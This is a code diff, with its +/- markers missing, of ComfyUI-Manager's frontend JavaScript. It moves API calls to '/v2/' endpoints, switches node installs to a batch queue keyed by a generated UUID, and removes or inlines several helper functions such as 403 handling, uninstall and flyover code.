if (node.category.startsWith('group nodes>')) {
options.push({
content: "Save As Component",
callback: (obj) => {
if (!ComponentBuilderDialog.instance) {
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
}
ComponentBuilderDialog.instance.target_node = node;
ComponentBuilderDialog.instance.show();
}
}, null);
}
if (isOutputNode(node)) {
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
const hasOutput = potential_outputs.length > 0;
@@ -172,7 +172,7 @@ export const shareToEsheep= () => {
const nodes = app.graph._nodes
const { potential_outputs, potential_output_nodes } = getPotentialOutputsAndOutputNodes(nodes);
const workflow = prompt['workflow']
api.fetchApi(`/manager/set_esheep_workflow_and_images`, {
api.fetchApi(`/v2/manager/set_esheep_workflow_and_images`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
@@ -552,6 +552,20 @@ export class ShareDialog extends ComfyDialog {
this.matrix_destination_checkbox.style.color = "var(--fg-color)";
this.matrix_destination_checkbox.checked = this.share_option === 'matrix'; //true;
try {
api.fetchApi(`/v2/manager/get_matrix_dep_status`)
.then(response => response.text())
.then(data => {
if(data == 'unavailable') {
matrix_destination_checkbox_text.style.textDecoration = "line-through";
this.matrix_destination_checkbox.disabled = true;
this.matrix_destination_checkbox.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
matrix_destination_checkbox_text.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
}
})
.catch(error => {});
} catch (error) {}
this.comfyworkflows_destination_checkbox = $el("input", { type: 'checkbox', id: "comfyworkflows_destination" }, [])
const comfyworkflows_destination_checkbox_text = $el("label", {}, [" ComfyWorkflows.com"])
this.comfyworkflows_destination_checkbox.style.color = "var(--fg-color)";
@@ -812,7 +826,7 @@ export class ShareDialog extends ComfyDialog {
// get the user's existing matrix auth and share key
ShareDialog.matrix_auth = { homeserver: "matrix.org", username: "", password: "" };
try {
api.fetchApi(`/manager/get_matrix_auth`)
api.fetchApi(`/v2/manager/get_matrix_auth`)
.then(response => response.json())
.then(data => {
ShareDialog.matrix_auth = data;
@@ -831,7 +845,7 @@ export class ShareDialog extends ComfyDialog {
ShareDialog.cw_sharekey = "";
try {
// console.log("Fetching comfyworkflows share key")
api.fetchApi(`/manager/get_comfyworkflows_auth`)
api.fetchApi(`/v2/manager/get_comfyworkflows_auth`)
.then(response => response.json())
.then(data => {
ShareDialog.cw_sharekey = data.comfyworkflows_sharekey;
@@ -891,7 +905,7 @@ export class ShareDialog extends ComfyDialog {
// Change the text of the share button to "Sharing..." to indicate that the share process has started
this.share_button.textContent = "Sharing...";
const response = await api.fetchApi(`/manager/share`, {
const response = await api.fetchApi(`/v2/manager/share`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
@@ -67,7 +67,7 @@ export class OpenArtShareDialog extends ComfyDialog {
async readKey() {
let key = ""
try {
key = await api.fetchApi(`/manager/get_openart_auth`)
key = await api.fetchApi(`/v2/manager/get_openart_auth`)
.then(response => response.json())
.then(data => {
return data.openart_key;
@@ -82,7 +82,7 @@ export class OpenArtShareDialog extends ComfyDialog {
}
async saveKey(value) {
await api.fetchApi(`/manager/set_openart_auth`, {
await api.fetchApi(`/v2/manager/set_openart_auth`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
@@ -399,7 +399,7 @@ export class OpenArtShareDialog extends ComfyDialog {
form.append("file", uploadFile);
try {
const res = await this.fetchApi(
`/workflows/upload_thumbnail`,
`/v2/workflows/upload_thumbnail`,
{
method: "POST",
body: form,
@@ -459,7 +459,7 @@ export class OpenArtShareDialog extends ComfyDialog {
throw new Error("Title is required");
}
const current_snapshot = await api.fetchApi(`/snapshot/get_current`)
const current_snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
.then(response => response.json())
.catch(error => {
// console.log(error);
@@ -489,7 +489,7 @@ export class OpenArtShareDialog extends ComfyDialog {
try {
const response = await this.fetchApi(
"/workflows/publish",
"/v2/workflows/publish",
{
method: "POST",
headers: {"Content-Type": "application/json"},
@@ -179,7 +179,7 @@ export class YouMLShareDialog extends ComfyDialog {
async loadToken() {
let key = ""
try {
const response = await api.fetchApi(`/manager/youml/settings`)
const response = await api.fetchApi(`/v2/manager/youml/settings`)
const settings = await response.json()
return settings.token
} catch (error) {
@@ -188,7 +188,7 @@ export class YouMLShareDialog extends ComfyDialog {
}
async saveToken(value) {
await api.fetchApi(`/manager/youml/settings`, {
await api.fetchApi(`/v2/manager/youml/settings`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
@@ -380,7 +380,7 @@ export class YouMLShareDialog extends ComfyDialog {
try {
let snapshotData = null;
try {
const snapshot = await api.fetchApi(`/snapshot/get_current`)
const snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
snapshotData = await snapshot.json()
} catch (e) {
console.error("Failed to get snapshot", e)
+31 -488
View File
@@ -100,19 +100,6 @@ export function show_message(msg) {
app.ui.dialog.element.style.zIndex = 1100;
}
export async function handle403Response(res, defaultMessage) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
show_message('ComfyUI version is outdated.<BR>Please update ComfyUI to use Manager normally.');
} else {
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
}
} catch {
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
}
}
export async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
@@ -122,9 +109,9 @@ export async function customConfirm(message) {
let res = await
window['app'].extensionManager.dialog
.confirm({
title: 'Confirm',
message: message
});
title: 'Confirm',
message: message
});
return res;
}
@@ -164,9 +151,9 @@ export async function customPrompt(title, message) {
let res = await
window['app'].extensionManager.dialog
.prompt({
title: title,
message: message
});
title: title,
message: message
});
return res;
}
@@ -176,23 +163,20 @@ export async function customPrompt(title, message) {
}
export async function rebootAPI() {
export function rebootAPI() {
if ('electronAPI' in window) {
window.electronAPI.restartApp();
return true;
}
const isConfirmed = await customConfirm("Are you sure you'd like to reboot the server?");
if (isConfirmed) {
try {
const response = await api.fetchApi("/manager/reboot", { method: 'POST' });
if (response.status == 403) {
await handle403Response(response);
return false;
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
if (isConfirmed) {
try {
api.fetchApi("/v2/manager/reboot", { method: 'POST' });
}
catch(exception) {}
}
catch(exception) {}
}
});
return false;
}
@@ -223,19 +207,16 @@ function isValidURL(url) {
}
export async function install_pip(packages) {
if(packages.includes('&')) {
if(packages.includes('&'))
app.ui.dialog.show(`Invalid PIP package enumeration: '${packages}'`);
return;
}
const res = await api.fetchApi("/customnode/install/pip", {
const res = await api.fetchApi("/v2/customnode/install/pip", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packages: packages }),
body: packages,
});
if(res.status == 403) {
await handle403Response(res, "To use this feature, set 'allow_pip_install = true' in config.ini ([default] section), then restart ComfyUI (the config is read once at startup). This setting is independent of security_level.");
show_message("To use this feature, set <code>allow_pip_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
return;
}
@@ -264,14 +245,13 @@ export async function install_via_git_url(url, manager_dialog) {
show_message(`Wait...<BR><BR>Installing '${url}'`);
const res = await api.fetchApi("/customnode/install/git_url", {
const res = await api.fetchApi("/v2/customnode/install/git_url", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: url }),
body: url,
});
if(res.status == 403) {
await handle403Response(res, "To use this feature, set 'allow_git_url_install = true' in config.ini ([default] section), then restart ComfyUI (the config is read once at startup). This setting is independent of security_level.");
show_message("To use this feature, set <code>allow_git_url_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
return;
}
@@ -282,9 +262,9 @@ export async function install_via_git_url(url, manager_dialog) {
const self = this;
rebootButton.addEventListener("click",
async function() {
if(await rebootAPI()) {
manager_instance.close();
function() {
if(rebootAPI()) {
manager_dialog.close();
}
});
}
@@ -650,6 +630,14 @@ export function showTooltip(target, text, className = 'cn-tooltip', styleMap = {
});
}
export function generateUUID() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
const r = Math.random() * 16 | 0;
const v = c === 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
}
function initTooltip () {
const mouseenterHandler = (e) => {
const target = e.target;
@@ -671,449 +659,4 @@ function initTooltip () {
document.body.addEventListener('mouseleave', mouseleaveHandler, true);
}
export async function uninstallNodes(nodeList, options = {}) {
const {
title = `${nodeList.length} custom nodes`,
onProgress = () => {},
onError = () => {},
onSuccess = () => {},
channel = 'default',
mode = 'default'
} = options;
// Check if queue is busy
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if (stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return { success: false, error: 'Queue is busy' };
}
// Confirmation dialog for uninstall
const confirmed = await customConfirm(`Are you sure uninstall ${title}?`);
if (!confirmed) {
return { success: false, error: 'User cancelled' };
}
let errorMsg = "";
let target_items = [];
await api.fetchApi('/manager/queue/reset');
for (const nodeItem of nodeList) {
target_items.push(nodeItem);
onProgress(`Uninstall ${nodeItem.title || nodeItem.name} ...`);
const data = nodeItem.originalData || nodeItem;
data.channel = channel;
data.mode = mode;
data.ui_id = nodeItem.hash || md5(nodeItem.name || nodeItem.title);
const res = await api.fetchApi(`/manager/queue/uninstall`, {
method: 'POST',
body: JSON.stringify(data)
});
if (res.status != 200) {
errorMsg = `'${nodeItem.title || nodeItem.name}': `;
if (res.status == 403) {
errorMsg += `This action is not allowed with this security level configuration.\n`;
} else if (res.status == 404) {
errorMsg += `With the current security level configuration, only custom nodes from the <B>"default channel"</B> can be uninstalled.\n`;
} else {
errorMsg += await res.text() + '\n';
}
break;
}
}
if (errorMsg) {
onError(errorMsg);
show_message("[Uninstall Errors]\n" + errorMsg);
return { success: false, error: errorMsg, targets: target_items };
} else {
await api.fetchApi('/manager/queue/start');
onSuccess(target_items);
showTerminal();
return { success: true, targets: target_items };
}
}
// ===========================================================================================
// Workflow Utilities Consolidation
export async function getWorkflowNodeTypes() {
try {
const res = await fetchData('/customnode/get_node_types_in_workflows');
if (res.status === 200) {
return { success: true, data: res.data };
} else if (res.status === 204) {
// No workflows found - return empty list
return { success: true, data: [] };
} else {
return { success: false, error: res.error };
}
} catch (error) {
return { success: false, error: error };
}
}
export function findPackageByCnrId(cnrId, nodePackages, installedOnly = true) {
if (!cnrId || !nodePackages) {
return null;
}
// Tier 1: Direct key match
if (nodePackages[cnrId]) {
const pack = nodePackages[cnrId];
if (!installedOnly || pack.state !== "not-installed") {
return { key: cnrId, pack: pack };
}
}
// Tier 2: Case-insensitive match
const cnrIdLower = cnrId.toLowerCase();
for (const packKey of Object.keys(nodePackages)) {
if (packKey.toLowerCase() === cnrIdLower) {
const pack = nodePackages[packKey];
if (!installedOnly || pack.state !== "not-installed") {
return { key: packKey, pack: pack };
}
}
}
// Tier 3: URL/reference contains match
for (const packKey of Object.keys(nodePackages)) {
const pack = nodePackages[packKey];
// Skip non-installed packages if installedOnly is true
if (installedOnly && pack.state === "not-installed") {
continue;
}
// Check if reference URL contains cnr_id
if (pack.reference && pack.reference.includes(cnrId)) {
return { key: packKey, pack: pack };
}
// Check if any file URL contains cnr_id
if (pack.files && Array.isArray(pack.files)) {
for (const fileUrl of pack.files) {
if (fileUrl.includes(cnrId)) {
return { key: packKey, pack: pack };
}
}
}
}
return null;
}
export async function analyzeWorkflowUsage(nodePackages) {
const result = await getWorkflowNodeTypes();
if (!result.success) {
return { success: false, error: result.error };
}
const workflowNodeList = result.data;
const usageMap = new Map();
const workflowDetailsMap = new Map();
if (workflowNodeList && Array.isArray(workflowNodeList)) {
const cnrIdCounts = new Map();
const cnrIdToWorkflows = new Map();
// Process each workflow
workflowNodeList.forEach((workflowObj, workflowIndex) => {
if (workflowObj.node_types && Array.isArray(workflowObj.node_types)) {
const workflowCnrIds = new Set();
// Get workflow filename
const workflowFilename = workflowObj.workflow_file_name ||
workflowObj.filename ||
workflowObj.file ||
workflowObj.name ||
workflowObj.path ||
`Workflow ${workflowIndex + 1}`;
// Count nodes per cnr_id in this workflow
const workflowCnrIdCounts = new Map();
workflowObj.node_types.forEach(nodeTypeObj => {
const cnrId = nodeTypeObj.cnr_id;
if (cnrId && cnrId !== "comfy-core") {
// Track unique cnr_ids per workflow
workflowCnrIds.add(cnrId);
// Count nodes per cnr_id in this specific workflow
const workflowNodeCount = workflowCnrIdCounts.get(cnrId) || 0;
workflowCnrIdCounts.set(cnrId, workflowNodeCount + 1);
}
});
// Record workflow details for each unique cnr_id found in this workflow
workflowCnrIds.forEach(cnrId => {
// Count occurrences of this cnr_id across all workflows
const currentCount = cnrIdCounts.get(cnrId) || 0;
cnrIdCounts.set(cnrId, currentCount + 1);
// Track workflow details
if (!cnrIdToWorkflows.has(cnrId)) {
cnrIdToWorkflows.set(cnrId, []);
}
cnrIdToWorkflows.get(cnrId).push({
filename: workflowFilename,
nodeCount: workflowCnrIdCounts.get(cnrId) || 0
});
});
}
});
// Map cnr_id to installed packages with workflow details
cnrIdCounts.forEach((count, cnrId) => {
const workflowDetails = cnrIdToWorkflows.get(cnrId) || [];
const foundPackage = findPackageByCnrId(cnrId, nodePackages, true);
if (foundPackage) {
usageMap.set(foundPackage.key, count);
workflowDetailsMap.set(foundPackage.key, workflowDetails);
}
});
}
return {
success: true,
usageMap: usageMap,
workflowDetailsMap: workflowDetailsMap
};
}
// Size formatting utilities - consolidated from model-manager.js and node-usage-analyzer.js
export function formatSize(v) {
const base = 1000;
const units = ['', 'K', 'M', 'G', 'T', 'P'];
const space = '';
const postfix = 'B';
if (v <= 0) {
return `0${space}${postfix}`;
}
for (let i = 0, l = units.length; i < l; i++) {
const min = Math.pow(base, i);
const max = Math.pow(base, i + 1);
if (v > min && v <= max) {
const unit = units[i];
if (unit) {
const n = v / min;
const nl = n.toString().split('.')[0].length;
const fl = Math.max(3 - nl, 1);
v = n.toFixed(fl);
}
v = v + space + unit + postfix;
break;
}
}
return v;
}
// for size sort
export function sizeToBytes(v) {
if (typeof v === "number") {
return v;
}
if (typeof v === "string") {
const n = parseFloat(v);
const unit = v.replace(/[0-9.B]+/g, "").trim().toUpperCase();
if (unit === "K") {
return n * 1000;
}
if (unit === "M") {
return n * 1000 * 1000;
}
if (unit === "G") {
return n * 1000 * 1000 * 1000;
}
if (unit === "T") {
return n * 1000 * 1000 * 1000 * 1000;
}
}
return v;
}
// Flyover component - consolidated from custom-nodes-manager.js and node-usage-analyzer.js
export function createFlyover(container, options = {}) {
const {
enableHover = false,
hoverHandler = null,
context = null
} = options;
const $flyover = document.createElement("div");
$flyover.className = "cn-flyover";
$flyover.innerHTML = `<div class="cn-flyover-header">
<div class="cn-flyover-close">${icons.arrowRight}</div>
<div class="cn-flyover-title"></div>
<div class="cn-flyover-close">${icons.close}</div>
</div>
<div class="cn-flyover-body"></div>`
container.appendChild($flyover);
const $flyoverTitle = $flyover.querySelector(".cn-flyover-title");
const $flyoverBody = $flyover.querySelector(".cn-flyover-body");
let width = '50%';
let visible = false;
let timeHide;
const closeHandler = (e) => {
if ($flyover === e.target || $flyover.contains(e.target)) {
return;
}
clearTimeout(timeHide);
timeHide = setTimeout(() => {
flyover.hide();
}, 100);
}
const displayHandler = () => {
if (visible) {
$flyover.classList.remove("cn-slide-in-right");
} else {
$flyover.classList.remove("cn-slide-out-right");
$flyover.style.width = '0px';
$flyover.style.display = "none";
}
}
const flyover = {
show: (titleHtml, bodyHtml) => {
clearTimeout(timeHide);
if (context && context.element) {
context.element.removeEventListener("click", closeHandler);
}
$flyoverTitle.innerHTML = titleHtml;
$flyoverBody.innerHTML = bodyHtml;
$flyover.style.display = "block";
$flyover.style.width = width;
if(!visible) {
$flyover.classList.add("cn-slide-in-right");
}
visible = true;
setTimeout(() => {
if (context && context.element) {
context.element.addEventListener("click", closeHandler);
}
}, 100);
},
hide: (now) => {
visible = false;
if (context && context.element) {
context.element.removeEventListener("click", closeHandler);
}
if(now) {
displayHandler();
return;
}
$flyover.classList.add("cn-slide-out-right");
}
}
$flyover.addEventListener("animationend", (e) => {
displayHandler();
});
// Add hover handlers if enabled
if (enableHover && hoverHandler) {
$flyover.addEventListener("mouseenter", hoverHandler, true);
$flyover.addEventListener("mouseleave", hoverHandler, true);
}
$flyover.addEventListener("click", (e) => {
if(e.target.classList.contains("cn-flyover-close")) {
flyover.hide();
return;
}
// Forward other click events to the provided handler or context
if (context && context.handleFlyoverClick) {
context.handleFlyoverClick(e);
}
});
return flyover;
}
// Shared UI State Methods - consolidated from multiple managers
export function createUIStateManager(element, selectors) {
return {
showSelection: (msg) => {
const el = element.querySelector(selectors.selection);
if (el) el.innerHTML = msg;
},
showError: (err) => {
const el = element.querySelector(selectors.message);
if (el) {
const msg = err ? `<font color="red">${err}</font>` : "";
el.innerHTML = msg;
}
},
showMessage: (msg, color) => {
const el = element.querySelector(selectors.message);
if (el) {
if (color) {
msg = `<font color="${color}">${msg}</font>`;
}
el.innerHTML = msg;
}
},
showStatus: (msg, color) => {
const el = element.querySelector(selectors.status);
if (el) {
if (color) {
msg = `<font color="${color}">${msg}</font>`;
}
el.innerHTML = msg;
}
},
showLoading: (grid) => {
if (grid) {
grid.showLoading();
grid.showMask({
opacity: 0.05
});
}
},
hideLoading: (grid) => {
if (grid) {
grid.hideLoading();
grid.hideMask();
}
},
showRefresh: () => {
const el = element.querySelector(selectors.refresh);
if (el) el.style.display = "block";
},
showStop: () => {
const el = element.querySelector(selectors.stop);
if (el) el.style.display = "block";
},
hideStop: () => {
const el = element.querySelector(selectors.stop);
if (el) el.style.display = "none";
}
};
}
initTooltip();
@@ -8,7 +8,7 @@ import {
fetchData, md5, icons, show_message, customConfirm, customAlert, customPrompt,
sanitizeHTML, infoToast, showTerminal, setNeedRestart,
storeColumnWidth, restoreColumnWidth, getTimeAgo, copyText, loadCss,
showPopover, hidePopover, getWorkflowNodeTypes, findPackageByCnrId, analyzeWorkflowUsage, createFlyover
showPopover, hidePopover, generateUUID
} from "./common.js";
// https://cenfun.github.io/turbogrid/api.html
@@ -42,8 +42,6 @@ const ShowMode = {
FAVORITES: "Favorites",
ALTERNATIVES: "Alternatives",
IN_WORKFLOW: "In Workflow",
USED_IN_ANY_WORKFLOW: "Used In Any Workflow",
NOT_USED_IN_ANY_WORKFLOW: "Installed and Unused",
};
export class CustomNodesManager {
@@ -56,7 +54,7 @@ export class CustomNodesManager {
this.id = "cn-manager";
app.registerExtension({
name: "Comfy.CustomNodesManager",
name: "Comfy.Legacy.CustomNodesManager",
afterConfigureGraph: (missingNodeTypes) => {
const item = this.getFilterItem(ShowMode.MISSING);
if (item) {
@@ -273,14 +271,6 @@ export class CustomNodesManager {
label: "In Workflow",
value: ShowMode.IN_WORKFLOW,
hasData: false
}, {
label: "Used In Any Workflow",
value: ShowMode.USED_IN_ANY_WORKFLOW,
hasData: false
}, {
label: "Installed and Unused",
value: ShowMode.NOT_USED_IN_ANY_WORKFLOW,
hasData: false
}, {
label: "Missing",
value: ShowMode.MISSING,
@@ -472,7 +462,7 @@ export class CustomNodesManager {
".cn-manager-stop": {
click: () => {
api.fetchApi('/manager/queue/reset', { method: 'POST' });
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -531,11 +521,7 @@ export class CustomNodesManager {
const grid = new TG.Grid(container);
this.grid = grid;
this.flyover = createFlyover(container, {
enableHover: true,
hoverHandler: this.handleFlyoverHover.bind(this),
context: this
});
this.flyover = this.createFlyover(container);
let prevViewRowsLength = -1;
grid.bind('onUpdated', (e, d) => {
@@ -652,7 +638,7 @@ export class CustomNodesManager {
};
}
const response = await api.fetchApi(`/customnode/import_fail_info`, {
const response = await api.fetchApi(`/v2/customnode/import_fail_info`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(info)
@@ -1077,63 +1063,143 @@ export class CustomNodesManager {
hidePopover();
}
handleFlyoverHover(e) {
if(e.type === "mouseenter") {
if(e.target.classList.contains("cn-nodes-name")) {
this.showNodePreview(e.target);
}
return;
}
this.hideNodePreview();
}
createFlyover(container) {
const $flyover = document.createElement("div");
$flyover.className = "cn-flyover";
$flyover.innerHTML = `<div class="cn-flyover-header">
<div class="cn-flyover-close">${icons.arrowRight}</div>
<div class="cn-flyover-title"></div>
<div class="cn-flyover-close">${icons.close}</div>
</div>
<div class="cn-flyover-body"></div>`
container.appendChild($flyover);
handleFlyoverClick(e) {
if(e.target.classList.contains("cn-nodes-name")) {
const nodeName = e.target.innerText;
const nodeItem = this.nodeMap[nodeName];
if (!nodeItem) {
copyText(nodeName).then((res) => {
if (res) {
e.target.setAttribute("action", "Copied");
e.target.classList.add("action");
setTimeout(() => {
e.target.classList.remove("action");
e.target.removeAttribute("action");
}, 1000);
}
});
const $flyoverTitle = $flyover.querySelector(".cn-flyover-title");
const $flyoverBody = $flyover.querySelector(".cn-flyover-body");
let width = '50%';
let visible = false;
let timeHide;
const closeHandler = (e) => {
if ($flyover === e.target || $flyover.contains(e.target)) {
return;
}
clearTimeout(timeHide);
timeHide = setTimeout(() => {
flyover.hide();
}, 100);
}
const hoverHandler = (e) => {
if(e.type === "mouseenter") {
if(e.target.classList.contains("cn-nodes-name")) {
this.showNodePreview(e.target);
}
return;
}
this.hideNodePreview();
}
const [x, y, w, h] = app.canvas.ds.visible_area;
const dpi = Math.max(window.devicePixelRatio ?? 1, 1);
const node = window.LiteGraph?.createNode(
nodeItem.name,
nodeItem.display_name,
{
pos: [x + (w-300) / dpi / 2, y]
}
);
if (node) {
app.graph.add(node);
e.target.setAttribute("action", "Added to Workflow");
e.target.classList.add("action");
setTimeout(() => {
e.target.classList.remove("action");
e.target.removeAttribute("action");
}, 1000);
const displayHandler = () => {
if (visible) {
$flyover.classList.remove("cn-slide-in-right");
} else {
$flyover.classList.remove("cn-slide-out-right");
$flyover.style.width = '0px';
$flyover.style.display = "none";
}
return;
}
if(e.target.classList.contains("cn-nodes-pack")) {
const hash = e.target.getAttribute("hash");
const rowItem = this.grid.getRowItemBy("hash", hash);
const flyover = {
show: (titleHtml, bodyHtml) => {
clearTimeout(timeHide);
this.element.removeEventListener("click", closeHandler);
$flyoverTitle.innerHTML = titleHtml;
$flyoverBody.innerHTML = bodyHtml;
$flyover.style.display = "block";
$flyover.style.width = width;
if(!visible) {
$flyover.classList.add("cn-slide-in-right");
}
visible = true;
setTimeout(() => {
this.element.addEventListener("click", closeHandler);
}, 100);
},
hide: (now) => {
visible = false;
this.element.removeEventListener("click", closeHandler);
if(now) {
displayHandler();
return;
}
$flyover.classList.add("cn-slide-out-right");
}
}
$flyover.addEventListener("animationend", (e) => {
displayHandler();
});
$flyover.addEventListener("mouseenter", hoverHandler, true);
$flyover.addEventListener("mouseleave", hoverHandler, true);
$flyover.addEventListener("click", (e) => {
if(e.target.classList.contains("cn-nodes-name")) {
const nodeName = e.target.innerText;
const nodeItem = this.nodeMap[nodeName];
if (!nodeItem) {
copyText(nodeName).then((res) => {
if (res) {
e.target.setAttribute("action", "Copied");
e.target.classList.add("action");
setTimeout(() => {
e.target.classList.remove("action");
e.target.removeAttribute("action");
}, 1000);
}
});
return;
}
const [x, y, w, h] = app.canvas.ds.visible_area;
const dpi = Math.max(window.devicePixelRatio ?? 1, 1);
const node = window.LiteGraph?.createNode(
nodeItem.name,
nodeItem.display_name,
{
pos: [x + (w-300) / dpi / 2, y]
}
);
if (node) {
app.graph.add(node);
e.target.setAttribute("action", "Added to Workflow");
e.target.classList.add("action");
setTimeout(() => {
e.target.classList.remove("action");
e.target.removeAttribute("action");
}, 1000);
}
return;
}
if(e.target.classList.contains("cn-nodes-pack")) {
const hash = e.target.getAttribute("hash");
const rowItem = this.grid.getRowItemBy("hash", hash);
//console.log(rowItem);
this.grid.scrollToRow(rowItem);
this.addHighlight(rowItem);
return;
}
this.grid.scrollToRow(rowItem);
this.addHighlight(rowItem);
return;
}
if(e.target.classList.contains("cn-flyover-close")) {
flyover.hide();
return;
}
});
return flyover;
}
showNodes(d) {
@@ -1180,7 +1246,7 @@ export class CustomNodesManager {
async loadNodes(node_packs) {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading node mappings (${mode}) ...`);
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
if (res.error) {
console.log(res.error);
return;
@@ -1332,10 +1398,10 @@ export class CustomNodesManager {
this.showLoading();
let res;
if(is_enable) {
res = await api.fetchApi(`/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
res = await api.fetchApi(`/v2/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
}
else {
res = await api.fetchApi(`/customnode/versions/${node_id}`, { cache: "no-store" });
res = await api.fetchApi(`/v2/customnode/versions/${node_id}`, { cache: "no-store" });
}
this.hideLoading();
@@ -1377,13 +1443,6 @@ export class CustomNodesManager {
}
async installNodes(list, btn, title, selected_version) {
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if(stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return;
}
const { target, label, mode} = btn;
if(mode === "uninstall") {
@@ -1410,15 +1469,9 @@ export class CustomNodesManager {
let needRestart = false;
let errorMsg = "";
await api.fetchApi('/manager/queue/reset', { method: 'POST' });
// Set install_context BEFORE per-item queue enqueue calls so that any
// server-side synchronous completion (e.g., sync enable of an inactive
// node) that emits cm-queue-status before we return here still finds
// install_context populated in onQueueCompleted. target_items is shared
// by reference so further pushes below remain visible.
let target_items = [];
this.install_context = {btn: btn, targets: target_items};
let batch = {};
for (const hash of list) {
const item = this.grid.getRowItemBy("hash", hash);
@@ -1461,35 +1514,16 @@ export class CustomNodesManager {
api_mode = 'reinstall';
}
const res = await api.fetchApi(`/manager/queue/${api_mode}`, {
method: 'POST',
body: JSON.stringify(data)
});
if (res.status != 200) {
errorMsg = `'${item.title}': `;
if(res.status == 403) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
} else {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} catch {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} else if(res.status == 404) {
errorMsg += `With the current security level configuration, only custom nodes from the <B>"default channel"</B> can be installed.\n`;
} else {
errorMsg += await res.text() + '\n';
}
break;
if(batch[api_mode]) {
batch[api_mode].push(data);
}
else {
batch[api_mode] = [data];
}
}
this.install_context = {btn: btn, targets: target_items};
if(errorMsg) {
this.showError(errorMsg);
show_message("[Installation Errors]\n"+errorMsg);
@@ -1501,7 +1535,24 @@ export class CustomNodesManager {
}
}
else {
await api.fetchApi('/manager/queue/start', { method: 'POST' });
this.batch_id = generateUUID();
batch['batch_id'] = this.batch_id;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
let failed = await res.json();
if(failed.length > 0) {
for(let k in failed) {
let hash = failed[k];
const item = this.grid.getRowItemBy("hash", hash);
errorMsg = `[FAIL] ${item.title}`;
}
}
this.showStop();
showTerminal();
}
@@ -1509,97 +1560,60 @@ export class CustomNodesManager {
async onQueueStatus(event) {
let self = CustomNodesManager.instance;
// If legacy manager front is not open, return early (using new manager front)
if (self.element?.style.display === 'none') return
if(event.detail.status == 'in_progress' && event.detail.ui_target == 'nodepack_manager') {
const hash = event.detail.target;
const item = self.grid.getRowItemBy("hash", hash);
if (!item) {
return;
}
item.restart = true;
self.restartMap[item.hash] = true;
self.grid.updateCell(item, "action");
self.grid.setRowSelected(item, false);
}
else if(event.detail.status == 'done') {
else if(event.detail.status == 'batch-done' && event.detail.batch_id == self.batch_id) {
self.hideStop();
// Await + error logging so any unhandled rejection surfaces to the
// console instead of silently swallowing completion finalization
// (root cause of disable/enable button staying loading with no toast).
try {
await self.onQueueCompleted(event.detail);
} catch (e) {
console.error("[ComfyUI-Manager] onQueueCompleted failed:", e);
}
self.onQueueCompleted(event.detail);
}
}
async onQueueCompleted(info) {
// `nodepack_result` is a dict serialized from a Python dict, not an array.
// `dict.length` is `undefined` and `undefined == 0` is `false`, so the
// previous `result.length == 0` guard was a no-op; switch to a correct
// empty-check that also tolerates null/undefined.
let result = info.nodepack_result;
if (!result || Object.keys(result).length === 0) {
if(result.length == 0) {
return;
}
let self = CustomNodesManager.instance;
if (!self || !self.install_context) {
if(!self.install_context) {
return;
}
const { target, label, mode } = self.install_context.btn;
const targets = self.install_context.targets || [];
target.classList.remove("cn-btn-loading");
// Compute errorMsg upfront so the downstream user-visible finalization
// (showRestart / showMessage / infoToast) fires regardless of whether
// any DOM-touching step below throws.
let errorMsg = "";
for (let hash in result) {
for(let hash in result){
let v = result[hash];
if (v != 'success' && v != 'skip') {
errorMsg += v + '\n';
}
if(v != 'success' && v != 'skip')
errorMsg += v+'\n';
}
// Defensive: `target` may be a detached DOM node (the in_progress
// handler's updateCell can re-render the row and replace the button
// element). classList.remove on a detached node is a no-op, but we
// still guard in case target was torn down entirely.
try {
if (target && target.classList) {
target.classList.remove("cn-btn-loading");
}
} catch (e) {
console.warn("[ComfyUI-Manager] Failed to clear button loading state:", e);
}
// Defensive: grid.updateCell can throw if the item was removed or the
// grid was re-rendered between in_progress and done. Do NOT let this
